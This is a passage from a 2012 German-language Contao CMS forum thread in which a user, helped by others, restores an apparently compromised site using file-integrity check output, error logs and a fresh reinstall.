plugins/tinyMCE/themes/simple/langs/fa.js
plugins/tinyMCE/themes/simple/langs/ja.js
plugins/tinyMCE/themes/simple/langs/ko.js
plugins/tinyMCE/tiny_mce.js
plugins/tinyMCE/tiny_mce_popup.js
system/config/.htaccess
system/config/languages.php
system/drivers/.htaccess
system/drivers/DC_File.php
system/drivers/DC_Folder.php
system/drivers/DC_Table.php
system/functions.php
system/html/index.html
system/libraries/Controller.php
system/libraries/Encryption.php
system/libraries/Feed.php
system/libraries/String.php
system/libraries/System.php
system/libraries/User.php
system/libraries/ZipWriter.php
system/modules/backend/Ajax.php
system/modules/backend/dca/tl_page.php
system/modules/backend/dca/tl_style.php
system/modules/backend/dca/tl_theme.php
system/modules/backend/dca/tl_undo.php
system/modules/backend/languages/de/tl_article.php
system/modules/backend/languages/de/tl_maintenance.php
system/modules/backend/languages/de/tl_style.php
system/modules/backend/languages/en/tl_article.php
system/modules/backend/languages/en/tl_maintenance.php
system/modules/backend/LiveUpdate.php
system/modules/backend/StyleSheets.php
system/modules/backend/templates/be_live_update.html5
system/modules/backend/Theme.php
system/modules/calendar/Events.php
system/modules/calendar/templates/mod_event.html5
system/modules/comments/Comments.php
system/modules/comments/templates/ce_comments.html5
system/modules/faq/templates/mod_faqreader.html5
system/modules/frontend/ContentTable.php
system/modules/frontend/Form.php
system/modules/frontend/FrontendTemplate.php
system/modules/frontend/html/twitter.gif
system/modules/frontend/ModuleQuicknav.php
system/modules/frontend/PageForward.php
system/modules/frontend/PageRegular.php
system/modules/frontend/templates/form.html5
system/modules/frontend/templates/member_default.html5
system/modules/frontend/templates/member_grouped.html5
system/modules/frontend/templates/mod_login_1cl.html5
system/modules/frontend/templates/mod_login_2cl.html5
system/modules/frontend/templates/mod_logout_1cl.html5
system/modules/frontend/templates/mod_logout_2cl.html5
system/modules/frontend/templates/mod_quicklink.html5
system/modules/frontend/templates/mod_quicknav.html5
system/modules/frontend/templates/mod_search_advanced.html5
system/modules/frontend/templates/mod_search_simple.html5
system/modules/listing/ModuleListing.php
system/modules/listing/templates/list_default.html5
system/modules/news/ModuleNews.php
system/modules/news/templates/mod_newsreader.html5
system/modules/newsletter/templates/nl_default.html5
system/modules/registration/templates/mod_password.html5
system/modules/rep_base/RepositorySettings.php
system/modules/rep_client/RepositoryBackendModule.php
system/modules/tasks/ModuleTasks.php
system/themes/default/basic.css
system/themes/default/hover.js
system/themes/default/images/hints.gif
system/themes/default/main.css
system/themes/default/src/basic.css
system/themes/default/src/hover.js
system/themes/default/src/main.css
system/tmp/.htaccess
templates/.htaccess
typolight/index.php
typolight/main.php

Your installation is not up to date.

**ciaobello** · 02.11.2012, 13:54

Er ging mit dem Server auch erst wieder online bis ich die File "system/constants.php" von Version 2.11.4 auf 2.11.6 upgedatet habe.

Das ist kein update das ist schummeln! Contao-Check glaubt das Du 2.11.6 hast ... aber es sieht die Dateien von 2.11.4 und die entsprechen nicht 2.11.6
Darum zeigt es die Fehler an.

Ein richtiges Update Schaft Abhilfe. Du kannst das ganze lokal machen mit contao2go ... hier wird gezeigt wie!

**BugBuster** · 02.11.2012, 14:09

Wie schon mehrmals hier gesagt, nimm die constants.php von 2.11.4 und mach dann den Check nochmal.
Dann überschreibe alle infizierte, wieder Checken.
Dann ein Update auf 2.11.6 machen wenn du magst.

**valentin** · 02.11.2012, 15:02

ich hab jetzt das contao check drüber laufen lassen.

es waren ein paar korrupte Dateien die habe ich gelöscht und mit denen einer 2.11.4 ausgetauscht.
auch die "alte" constants.php ist wieder drinnen.

nun sagt der check:

Version

Found a Contao 2.11.4 installation.

Missing files

Code:

tl_files/music_academy/admin.gif
tl_files/music_academy/background.gif
tl_files/music_academy/campus/campus_building.jpg
tl_files/music_academy/campus/campus_hall.jpg
tl_files/music_academy/campus/campus_library.jpg
tl_files/music_academy/campus/campus_overview.jpg
tl_files/music_academy/campus/meta.txt
tl_files/music_academy/frontendmodules.gif
tl_files/music_academy/image.png
tl_files/music_academy/james-wilson.jpg
tl_files/music_academy/layout.gif
tl_files/music_academy/modules.gif
tl_files/music_academy/news.gif
tl_files/music_academy/pagemounts.gif
tl_files/music_academy/permissions.gif
tl_files/music_academy/protect.gif
tl_files/music_academy/screenshot.jpg

Your installation is not up to date.

Trotzdem bekomme ich bei index.php, /contao und contao/install.php jeweils nur weiße Seiten?!
Ich bin nun wirklich am Ende mit meinem Latein...

**magicsepp** · 02.11.2012, 15:09

die fehlenden Datein sollten zu verschmerzen sein braucht man nur füR die Musik-ACADEMY

was steht den jetzt am ende der error.log im system/logs Ordner

**valentin** · 02.11.2012, 15:21

danke für den Tipp, langsam komme ich der Sache auf die Fährte.

Code:

[26-Oct-2012 15:06:26] PHP Fatal error: Uncaught exception 'Exception' with message 'Could not connect to database (Can't connect to MySQL server on 'mysql5.server.com' (99))' thrown in /kunden/XXX/XX-hosting//server.com/system/libraries/Database.php on line 78

[26-Oct-2012 16:58:07] PHP Fatal error: Uncaught exception 'Exception' with message 'Could not connect to database (Can't connect to MySQL server on 'mysql5.server.com' (99))' thrown in /kunden/XXX/XX-hosting//server.com/system/libraries/Database.php on line 78


[26-Oct-2012 16:58:08] PHP Fatal error: Uncaught exception 'Exception' with message 'Could not connect to database (Can't connect to MySQL server on 'mysql5.server.com' (99))' thrown in /kunden/XXX/XX-hosting//server.com/system/libraries/Database.php on line 78


[26-Oct-2012 16:58:10] PHP Fatal error: Uncaught exception 'Exception' with message 'Could not connect to database (Can't connect to MySQL server on 'mysql5.server.com' (99))' thrown in /kunden/XXX/XX-hosting//server.com/system/libraries/Database.php on line 78


[26-Oct-2012 18:37:24] PHP Fatal error: Uncaught exception 'Exception' with message 'Could not connect to database (Can't connect to MySQL server on 'mysql5.server.com' (99))' thrown in /kunden/XXX/XX-hosting//server.com/system/libraries/Database.php on line 78


[27-Oct-2012 07:28:08] PHP Fatal error: Uncaught exception 'Exception' with message 'Could not connect to database (Can't connect to MySQL server on 'mysql5.server.com' (99))' thrown in /kunden/XXX/XX-hosting//server.com/system/libraries/Database.php on line 78


[27-Oct-2012 14:46:23] PHP Fatal error: Uncaught exception 'Exception' with message 'Could not connect to database (Can't connect to MySQL server on 'mysql5.server.com' (99))' thrown in /kunden/XXX/XX-hosting//server.com/system/libraries/Database.php on line 78

Heißt dass, dass das Ding keine Verbindung zur Datenbank herstellen kann?
Blöderweise kann ich mich nicht im MySQL einloggen, da der Serverbetreiber die Zugangsdaten seines Admin-Panels anscheinend geändert hat und ich praktischerweise nicht darüber informiert wurde...

**magicsepp** · 02.11.2012, 16:20

keine Kommentar, aber die Daten werden schon korrekterweise in der localconfig.php erwartet:

Code:

$GLOBALS['TL_CONFIG']['dbHost'] = 'mySqlHost';
$GLOBALS['TL_CONFIG']['dbUser'] = 'User ';
$GLOBALS['TL_CONFIG']['dbPass'] = 'PaSsWoRt ';
$GLOBALS['TL_CONFIG']['dbDatabase'] = 'db_sql ';

**valentin** · 02.11.2012, 16:22

Ja, das habe ich mir schon angeschaut.
In der localconfig sollte auch alles stimmen.
Ich komme ja auch nicht mehr ins Admin Panel des Hosters. Vielleicht ist irgendwas mit der Datenbank?
Gelöscht? Umbenannt? Passwort geändert?

Hab schon angefragt aber warte noch auf Antwort. Wirklich ein Mist!
Danke für die Hilfe soweit. Ich hoffe, dass ich die Seite wieder zum Leben erwecken kann!

**magicsepp** · 02.11.2012, 17:05

Hoffentlich haste ein nicht allzu altes Backup als Joker in der Hinterhand.

**valentin** · 02.11.2012, 17:08

Salz in meine Wunden!

**valentin** · 02.11.2012, 17:49

also, in der datenbank ist noch alles drinnen.
die zugangsdaten sind die selben geblieben.

trotzdem passiert nix, wenn ich versuche auf die Seite/backend oder install zuzugreifen.
Laut check-tool ist alles in ordnung?

Kann mir jemand helfen? Hat wer eine Idee?

**magicsepp** · 02.11.2012, 18:13

hat sich der error.log geändert?

**valentin** · 02.11.2012, 19:02

seit dem 27. okt nicht mehr...

ich habe gerade eine frische version raufgestellt, synchronisiere alle daten und schau dann was geht...
DB scheint in ordnung zu sein!

**ciaobello** · 02.11.2012, 19:49

Zitat von ciaobello

Du kannst das ganze lokal machen mit contao2go ... hier wird gezeigt wie!

Möchtest das nicht mal in Erwägung ziehen? Dann kannst auch das Update Stress frei machen ...

Noch was nebenbei ... kennst Du die Knöpfe "Code einfügen" noch nicht (Das Rautezeichen im Editor neben der Sprechblase für Zitieren)? Dann müssten nicht die Moderatoren ständig deine Posts anpassen.

**valentin** · 02.11.2012, 23:42

Hallelujah, es funktioniert jetzt wieder.

Sollte es wer genau wissen wollen:

Ich habe eine frische Contao 2.11.4 auf den Server gezogen, alle Extensions in den Module Ordner kopiert und die Templates aktualisiert.
Dann wollte ich über das Install-Tool mit der Datenbank verbinden. Es hat nicht geklappt und ich durfte feststellen, dass es an den Extensions "custom_be_modules" und "valumsFileUploader" lag.
Kaum habe ich die gelöscht, war auch schon der Installer da.

Im Grunde lief alles super.

Aber, die Seite verwendet auch noch den "Catalog" und das "i18nl10n" Sprachentool. Hier habe ich jetzt recht lange herumgespielt.
Alle Catalog-Module waren noch da, haben aber ihre Einstellungen verloren. Das war leider ein bisschen aufwändiger.

Die "normalen" Seiten gingen dann schon, nur die mit den Catalog-Modulen nicht. Es kam immer zu einer sehr komischen URL und "Page not found".
Ich bin leider erst zu spät drauf gekommen, dass es daran gelegen hat, dass Contao nun in einem Unterverzeichnis lag.
Nachdem ich in der .htaccess die RewriteBase angepasst habe, ging wieder alles.

Wenigstens liegt die Version jetzt auf einem eigenen Server ohne Vorgängermüll.
Ich danke euch für eure Hilfe, entschuldige mich für das Ignorieren des "Rautezeichens" und wünsche noch eine Gute Nacht!